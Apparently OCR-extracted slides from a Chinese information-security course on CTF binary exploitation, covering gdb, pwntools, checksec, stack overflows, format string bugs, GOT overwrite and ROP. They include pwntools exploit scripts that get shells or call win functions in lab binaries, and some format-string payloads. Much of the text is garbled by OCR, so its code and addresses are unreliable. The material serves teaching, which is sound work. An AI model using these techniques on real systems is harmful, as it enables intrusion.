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https://www.philfan.cn/Tools/gdb/
https://www.philfan.cn/CS/CTF-pwn/#pwntools
https://www.philfan.cn/CS/CTF-reverse/#ida
https://www.philfan.cn/Robotics/Environment/System-kali-settings/

Tools

I, C

S, I, SI, ni

b <func name>, b *<addr>, bp <addr>, pie b <offset>
p(rint)/[d/x]

x/<count>[b/w/g/s] <addr>, tele(scope) <addr>

i(nfo), vimmap, ctx


https://www.philfan.cn/Tools/gdb/

Tools

I IE L context
JIITY LTt o p = process(“./bigwork”)
ELFhnZ; program = ELF(“./bigwork”),
program.got[ ‘puts’]
program.sym[‘main’]
S5GDBEL & p = gdb.debug(“./bigwork”, gdbscript = “c”) (% %%:gdbserver)

pid,p_gdb = gdb.attach(“./bigwork”,gdbscript = “”,api =True) #{fgdb

p_gdb.execute(“info proc mappings”)

R HPRAE p.send() p.recvline() p.sendlineafter()

Pwntools &



https://www.philfan.cn/CS/CTF-pwn/#pwntools
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- Desktop checksec ./exampl-> Desktop checksec ./example4
[#*] '/home/ctfer/Desktop/exal*] '/home/ctfer/Desktop/example4'

Arch:
RELRO:
Stack:
NX:
PIE:

amdﬁ4-64-littl

Arch: amde4-64-1ittle
RELRO: Partial RELRO
Stack:

NX:

PIE:

RWX:
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File Actions

I-|.EB‘E”|L3 3 4

00.py

s "

kali@kali: ~/Desktop/hw/hw1 {as kali)

Edit View Help

(ctf) —(kali® kali)-[~/Desktop/hw/hwl]
: python

"fhome/kali/Desktop/hw/hwl/testl’

Arch:
RELRO:
Stack:

NX: NX

PIE:
Stack:
RWX :
Stripped:

amde4-64-1ittle

- GMNU_STACK milssl

b'Welcome to choose this challenge!!!\nNow, you have 3 choilces:\nl. Overflow!
n2. Formatstring!\n3. You are free!in’

b'Which country do you live in?\n’

Wow, Chima is such a nice country!

It was nice meeting you. Goodbye!

)
- ....u.quL. ....JH.J........_I..._'
Shell No. 1 (as kali)
File Actions Edit View Help
» 0x40125a <overflow+95> ret
A
@x40134b <main+88> jmp
b
@x40132e <maln+59> mov eax, 0 EAX =
@x401333 <maln+64> call
@x401338 <maln+69> mov dword ptr [rbp -
@x40133b <maln+72> cmp dword ptr [rbp -
@x40133F <maln+76> ine
@x401341 <main+78> mov eax, 0
@x401346 <maln+83> call
@x40134b <main+88> jmp
€
=4@0132e <maln+59> mov eax, @
PO :0000| rsp 2=7 -
L0008 -030 O= @
B2:0010|-028 @=x7ffe @x7ffel5662118 — Bx
15;@"
R3:0018|-020 @x7ffel5662ddd — @x7ffeldS6E2fR8 — @x=7
42f2e f* ', /testl" =/
Q40020 |-018 Ffe2566 @x1a23f9030
B5:0028|-918 @
PE:0030|-008 : ed A=125662e80
B7 0038 rbp )x7ffe 2df@ 1
= P=40125a overflows95

@
1
2

0x40134b main+88
@x7f17a2lefd6é®  libc start call main+120



M) wWEE) ZEN) BN EmEET EEme) | - IE%u ) A

S2 GOTZFHREIFF Bmmpor i in _

kali@kali: ~/Desktop/hw/hw1 (as kali)
File Actions Edit View Help

system@plt (ctf) —f |- [ ~/Desktop/hw/hwil
; obj ) .J/test grep puts
SyStem o EI@GOT% — System@got 0000000000403480 R_X86_64_JUMP_SLOT puts@iGLIBC_2.2.5

iﬁﬁﬁﬁg*ﬁ - (ctf) el |- [~/Desktop/hw/hwi

GNU q:lh ‘(Debian 15.2-1) 15.2
pyrigh t ft] 2024 Free Software Foundation,
PLv3+: GNU

PL version 3 or later <http://gnu.org/1 ol . html>
u are free to change and redistribute it.
) the extent permitted by law.

r ¥ fo:‘ details.

fRMTZ G
GOT

ration details.

1%}13 ;. ‘ ;. 5 , leue :E'
E r— ro_r“rtﬂtlr E-(nCt: online at:
1ibC For clﬁ type °

Type "apropos wor
Readin

53 g B S R A B 1 Eﬁf-ffi_;;;;rffegééaseeéuoﬁi‘l ”

arch for commands related to "word” ...

hAERELAGPLT @i MGOT (wimun (gab)

Using hos
Welcome to choose this challenge
Now, you have 3 cholces:

1. Overflow

Formatstring

You are free

« SEFHABputs Bﬁgot%ﬁﬁ
LR BT AEputsHI A ki

*EgOt%i&jﬁ B TuNSTencd Longrexdescnssexcerond
LIS |

=Lk

)
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BT HHBRBR 2R A A T AT

B
P <main+0004> push rbp fRFrbp

=
N
G

?allf_r’s <main+0005> mov rbp, rsp 25|
unction <main+0008> add rsp, 0x80 1] 11 i 2 e X
t B 0T B e
R
eturn Address Sepop rop LY BT Arop AL EIR M 4irspR E,

ST

function
state :
retffj i, Sedtiold rbpigZirbp
|

Stack top Jeitretiitibiig [ 4217 PC




grAn] A1 F

« SRR P PR GBRIERK BE R R, ATA—H

PN

« IBLHAT ARG R Bk payload, k% Lig e B

JRFAT AR AL

S3 #eki

High address
Return Address
Caller’s Caller’s ebp

Caller’s ebp

Local Variables

from pwn import *
context.arch="x86_64"
binary = "./bigwork’

elf = ELF(binary)

a = process(binary)

target_address = elf.symbols|[ 'backdoor']
print("target=",hex(target_address))

i = a.recvuntil(b"free!\n")

a.sendline(b"2")

payload = b"A" * (8x108)+ p64(target_address) + p64(0x0)
a.recv()

a.sendline(payload)

a.interactive()

BN\ A8 7 i p R [ Y s ik

X B fEbackdoor

JESRrbp 5 0x8

AL E [rbp-100](f Figdb disasm)

Workstation v || ~ &5 (D

[ kali-inux-2024.3-vmware-a...

BemPor-| 23 «|g
kali@kali: ~/Desktop/hw/hw1 (as kali)

File Actions Edit View Help

{ctf)y — |- [~/Desktop/hw/hwl
. wwthon 82.py
1 "/home/kali/Desktop/hw/hwl/bigwork

Arch: amdo4-64-1ittle

RELRO:

Stack:

Mx:

PIE:

Stack:

RWX :

Stripped:
[+] Starting local process "./bigwork’: pid 335353
target= 0x4012bd
[#] Switching to interactive mode

B,

& [0 B8



é [lecll pwn noc h
i é [lecll pwn login—
gxEl)
sl @ex @ [lecl] pWP inject—
@Qﬁﬁﬁﬁ
ai E {7 .
= GEAR: P
s EIRERE easy
Login ! @E{’Eﬁ: Form211n
FEN E@Qﬁj\?‘f;: 7.6 pWn A
B, ; Inject some shellcode
.lﬂ!ﬂlfﬂ%!ﬂlﬁﬂﬂ
GEEAERIE7 120 53¢
iﬁ]!EﬂEEﬂﬁlEHi

100 pts

100 pts

100 pts

- 4

GRART 5 AEI % i X fai ) W2

- ASIR
SInRE AL LI RE, B

- Canary

s\ B I B I 1 R4
E

- Shallow Stack:

iR #bu

Jbuffer {74

— K %, RIS 8
ﬁj:ﬁ, E/S&T\”D;E?;Ai‘ {“T Z



FSB (Format
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Printf%ﬁ[lﬁ]"‘;g}ﬂﬁ@ int printf(const char *format, ...);

* printf—4N LAY i R EL,
BAIDAEHAB RS G TprAntf("%d Xa o %o %5 %57,3,2,'
I_I | E o:::: ““““““
£A) E‘ /“
" 32/{1‘_[: H@i%}% , MEA Iﬁfﬁﬂk?ﬁ()\*ﬁ :g: =7 £ desatiis o2’ E? de59008c3 +— a:qaaa?qj‘aﬁ?az{ze fx . /test’ x/

RDX

va_listd

13

RDI @x e «— '%2%d %! %3%c %3fc %5%s %11$p"..
RSI o
A IN T ’fjliﬁ%%f =} W R8 x . ‘
[ ) x «— Bx Jfx */
64/{i HQ/EE)'% - A }%ﬁ - Hu 6 :za g 40200¢ 0x2520642432250065 e
R11 «— sub rsp, @xds8
R12 ©
SZF. > . . R12 @x7ffde58ffu68 —» 0x7ffde59000ca < 'COLORFGBG=15;0'
AMEFORAErdi, rsi, rdx, rex, r8, & s

— endbro

_i S » N, — RBP Q;T;%Ffi‘ie58FF34@ a1
4% % T RSP 0x7ffde58ff338 —» -— mov eax, @
r9 b N an Hg 9 éﬁ)ﬁ :I:*ﬁJ: l]ﬁ RIP +— sub rsp, @=ds




Format String Bug

Gl AR 2 B i <A R

// gcc test_printf.c -o test_printf
#include

int main()A{ | | %ﬁ'f’h?ﬁEgBQﬁﬁgk{:%ﬁ

// num$ ETEBnumhBE

’ e e e, BB, MRS % R

Hia B4t 2 1dc e hello

\§J 3 11T DR R S B
J: A )

%p  BIRATE R AR RO %488p %1Sp MRS EAL I T
$ B SRR . TR G

%n e B SATEN RS A\ $5 R R A7
%123c%3%n PR ST, MABEAR



FSB £ 72 1%

‘dﬁﬁg'*jzj:ﬂ,‘]@f' \1!2! IO *ﬁﬂﬂﬁk\ tﬁﬂﬁiﬁ:\

[#] running in new terminal: ['/us
[ ] Created script for new ter
#! /home/kali/miniconda3/envs/c
import os
os.execve('/usr/bin/gdb', ['/L
[ ] Launching a new terminal:
[ ] Received 0x38 bytes:

b'Remote debugging from host
printf: 0x4010
/home/kali/Desktop/pwn/exp.py:23:
com/#bytes
p.sendline(fmt)
[ ] Sent 0x6 bytes:
b'%73$p\n"
[*] Switching to interactivs mode
[ ] Received 0xf bvies:
b'0x5626f1a8714%\n"
0x5626f1a871d1

i i §2 main it ok

pwndbg> stack 80
00:0000| rsp 0x7ffd688a5398 —»
01:0008| rcx rdi OITifGBQSJS‘JO -
02:0010|-1f8 @x7ffd688a53a8 «—
i ik 62 skipped
41:0208| rbp 0x7ffd688a55a0 «—
42:0210|+008 0x7ffd688a55a8 —»
1, eax
43:0218|+010 @x7ffd688a55b0 —»
44:0220(+018 0x7ffd688a55b8 —»x
L 45:0228|+020 0x7ffd688a5500 «—
46:0230|+028 0x7ffd6RIG55¢c8 —»
47:0238|+030 0x7£M1688a55d0 —
48:0240(+038 Ux7ffd688a55d8 «—
49:0248|+042 0x7ffd688as55e0 «—
4a:0250 -v48 @x7ffd688a55e8 —»
4b'f¢58l+050 0x7ffd688a55f0 —»
5626f1a86000 <— 0x10102464c457F
4c:@26@|+058 0x7ffd688as55f8 —»
y) —
4d:0268|+060 0x7ffd688a5600 «—
4e:0270|+068 0x7ffd688a5608 <—
4f:0278|+070 0x7ffd688a5610 «—

pwndbg> ¢

Continuing.
| |

BltN: 5 e rmzes) + 0x220 Emeksm)

«— Jmp
0xa7024333725 /x '%73%p\n’' */
0
1
<— MmMov ea
0x7ffd688a56a0 — 0x7ffd688a56a8 «— 0x38 /* '8' */

«— push rbp
UX1T 1450040
0x7ffd688a56b8
0x7ffd688a56b8 —» 0x7ffd688a70b8 «—
0xfOb2e64ccasal98s

@

0x7ffd688a56¢c8 — 0x7{fd688a70ch «—

—»

—» Ox7ffd688a70b8 «— './fsb-stack'
'./fsb-stack’

'COLORFGBG=15;0"
— Ox

0x5626f1a89dd8 (__do_global_dtors_aux_fini_array_entr
«— endbré64

0xf48375861281985

0xf423cb390081985

Q

/8 (81rFH)

S B TibeHdk- -



FSB (2 E

GOTZ%; xEHulk; shellcodeiti®; % EAAESH- -

1. HIEE: %ln: B8FY; %12345678c%7%$n

2. B HHHITE N : %*10$c%11$n; {5+ 124 4E ~padding

3. pwntools H 4 iyfmtstr_payloadpf%y: & H it &,
EAT I o 2 1505 %X




HEE: BE®GOT

from pwn import *
context.log_level = 'warning'
o = process("./test")

elf = ELF("./test")

script = \
b printf
C

pid,p_gdb = gdb.attach(o,gdbscript = script,api = True)

printf_got = elf.got['printf']

backdoor_addr = elf.symbols['backdoor']
system_addr = elf.symbols['system']
print("printf_got=",hex(printf_got))
print("backdoor_addr=",hex(backdoor_addr))
print("system_addr=",hex(system_addr))

print(o.recv())

o.sendline(b"2")

print(o.recv())

payload = fmtstr_payload(6, {printf_got: system_addr})
o.sendline(payload)

print(o.recv())

o.sendline(b"2")

print(o.recv())

o.sendline(b"/bin/sh\x00")

o.interactive()

Workstation v || ~ 5 ) £ [D = [Dj B .
[ kali-inux-2024.3-vmware-a...

BEEPRPOr |1 23 2|8 o i

kali@kali: ~/Desktop/hw (as kali)
File Actions Edit View Help

{ctf} — |- [~/Desktop/hw
L$ python exp.pyll

ERIE AT aeas el sk Ea i teel L SN ch 3 LU AR reel o Al — B2 1 |

SnAT S BRBGA

56 FH B 22 22 ) R B

- {3 Fil snprintf FRA#IZE M XK JE -

- {8 strncat SRl PR BN TAT B DHE R 22k
B IMHERR PR

gcc -fstack-protector -o program program.c
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Checksec

* f#i fichecksec#iF 1] IR EU) X F Bt

o KBHF T CanaryFINXLRYT, [F LA GE W B8 1Y >R AR i B s TRk 7 2
SFe

(base) = Introduction to Information Security checksec bigwork2
[*] '/home/arrakis/learn/ZJU/Introduction to Information Security/bigwork2’

Arch: amdéld-6U4-little
RELRO: No RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (OxU400000)

Stripped: \[¢



AL B 2 5

\"...Power is an illusion o
puts(“what we hope might occur. It
puts("does not make one great. Power
puts("to an end. And that end is the
puts("to see, there is only the Force,
puts("
puts ;
return vo

perception. It is what we be
s a tool, like a lightsaber

is something to be wielded
nly thing that matters. F
and what is required to

- _ readfsqword(@x28u);

iX Hpehtlag.txt

gnAaT Bk e 2 winek (e ?



fnn] Bk 4% 21 win pk £

puta{"wﬁich jedi said that? ");

fgets(v5, 9, stdin);

*(_QWORD *)review names[v4] = *(_QWORD *)v5;
5
J

freview_names$HEv4AN TR 1/

review_names fll &

e FARMA RIS

EL g i HE Y/

i1 4k A AEL o

(T8

[ERY

N

BAL LT,

HoNHEVSHY/

HAE N

i BT TEN? I exit@GOT [t FAEH I exit A

B



grAn] k%% 21| win pf 2%

exit() 24 Y i Fifini_array®i4y i M ECESE, Rk
1y S H 1w o B )

W& fini_arrayiHEF0 review_nam e:Hi%:th‘J B

) 10+E1f64 Dyn < 101000h: ; DT_INIT
)C 17+E1f64 Dyn <@Dh, 4@179Ch: ; DT_FINI
3 44+E1F64 Dyn <19h, ; ; DT_INIT_ARRAY
)8 00+E1f64 Dyn <1Bh, 8: . DT _INIT ARRAYSZ
9 AA+E1f64 Dyn <1Ah, 404410h: ; DT_FINI_ARRAY
PO+EL1T64 Dyn <iCh, 8> - DT_FINI_ARRAYSZ

v

58 @3+E1f64_Dyn <6FFFFEFSh, 400368h: ; DT_GNU_HASH
d @4+E1f64 Dyn <5, AEOh> ; DT_STRTAB
p @3+E1f64 Dyn <6, 400390h: ; DT_SYMTAB
pO+E1f64 Dyn <@Ah, 9Dh: ; DT_STRSZ
3 @0+E1f64 Dyn <@Bh, 18h> ; DT_SYMENT
D 00 @O+E1f64 Dyn <15h, 0> ; DT_DEBUG
00 F8 45+E1f64 Dyn <3, 4045F8h> ; DT_PLTGOT




ROP

A A B g pg bk fndg 24 & (gadget)
SEE A%




L LTRT

IEI;%UW-
in o K
L, Bk

ope:

J /’J_'l.Win E’\] ;g

7 g ol

al ==
= ]
684107883&& a2 == 19362
= 8682

\HEE* . —
1111 arra j:EI%I 'f/lx/ai ‘jb W iIl]Z[% Q :[:
> ; i‘m _Il:’ {—A

08606340139@
96@&01390
390

0

public d
qunteS proc
Junwind {
rsps
rdi, aA.ediUsesT

sub
lea
public
2

near

heFo

BOGDOGAG
@GOBGB@OAGI
e@oﬂeeooae1 2

. 00000
:GQBBEQOG@BAO 383

quo
proc
4ind {
public qu
quuted p
unwind {

public qthE3
QUDtEE proc near
: ,runmiﬂd {

:9000@00.

qumteﬂ

puhlic
oc near

quote pr
5 _Jm\r:md {
sub p
lea

call

rsp, °
rdi, alFin

add
jmp

quuteh endp

dyourkac

kO



SnAnT 36 2 win i ) W 5447

A IE AL — A G A 2k
Amov—H IHEZMEREL &

mov rsi, rdi
xor rdi, rdi

add rdi, 1
shl rdi, 1

et : FiEox8887 iy itk

bin(0x8887)[2:] '1000100010000111'

# W& rsi
for bit in binlrsi)[2:]:
it bt = "1°:
payload += p64(shl) + p64(add)
else:
payload += p64(shl)

# 1 rsi ##3 rdi

payload += p64(mov) + p64(xor)

#
for bit 1n banCrdi)[2:]:
1t b1t = "1
payload += p64(shl) + p64(add)
else:
payload += p64(shl)

# BREEE] win BREL

payload += p64(win)



Dt o FE LA T > GrART SEBR B4 -

- Fcf-protection

X NHH WEE O BERV) N0 EGR MR S & L= gOoBm - & Xx
) # payload2py 9+ X B ([ - N
= E > [i#E> @ payload2py > - 'j / S A , A) / 7
d =1 =+ )3 H T E a1
y | }
By . (. /bi 37y S
58] p = process("./bigwork
D progess » \ n /
=t 7 mov = exde13se si, rdi /‘ \J
_ shl = 9x481360
A xor = 9x481380 i 1
add = @x4@130@
1 win = @x4e13E@
A ]
* Hin 1
- rsi = ©x73696465 # e |
5 rdi = 0x64617268 #
- 1
payload 1 —
& 1
for i in bin(rsi)[2:1: # i il
irl — 1
payload += p64(shl) + p4(add) _# y, » b »
else: j a) n A)
payload += pg4(shl) H ‘? ,
payload += p64(mov) + p64(xor) —aa '_[L" l
# rdi ——
for i in bin(rdi)[2:1: # G L _l ‘ I% O
if $i=="3': Y/ L ~
payload += p64(shl) + psd(add)
else:
payload += pe4(shl)
payload += p64(win)
s payload )
41 p.sendlineafter(b">>> ", payload) # k3% payload I o
p.sendlineafter(b">>> ", b"-78") & Kif —
4 p.sendlineafter(b">>> ", p64(6x4013a0)) # i Fwin o
®

é"o‘} p.ir\t‘eractiva() ‘ I i N ‘% ‘T ‘ “ “ — % :b /\
3“ @0A13 WO sAMarsCode Al 4341, BS54 Z3Hg4 UTE8 LF {) 3819 (openm el Igﬁ I | : t_l l ]‘ { ;; {Iﬂ ﬂ-‘ I

¥




Thanks!



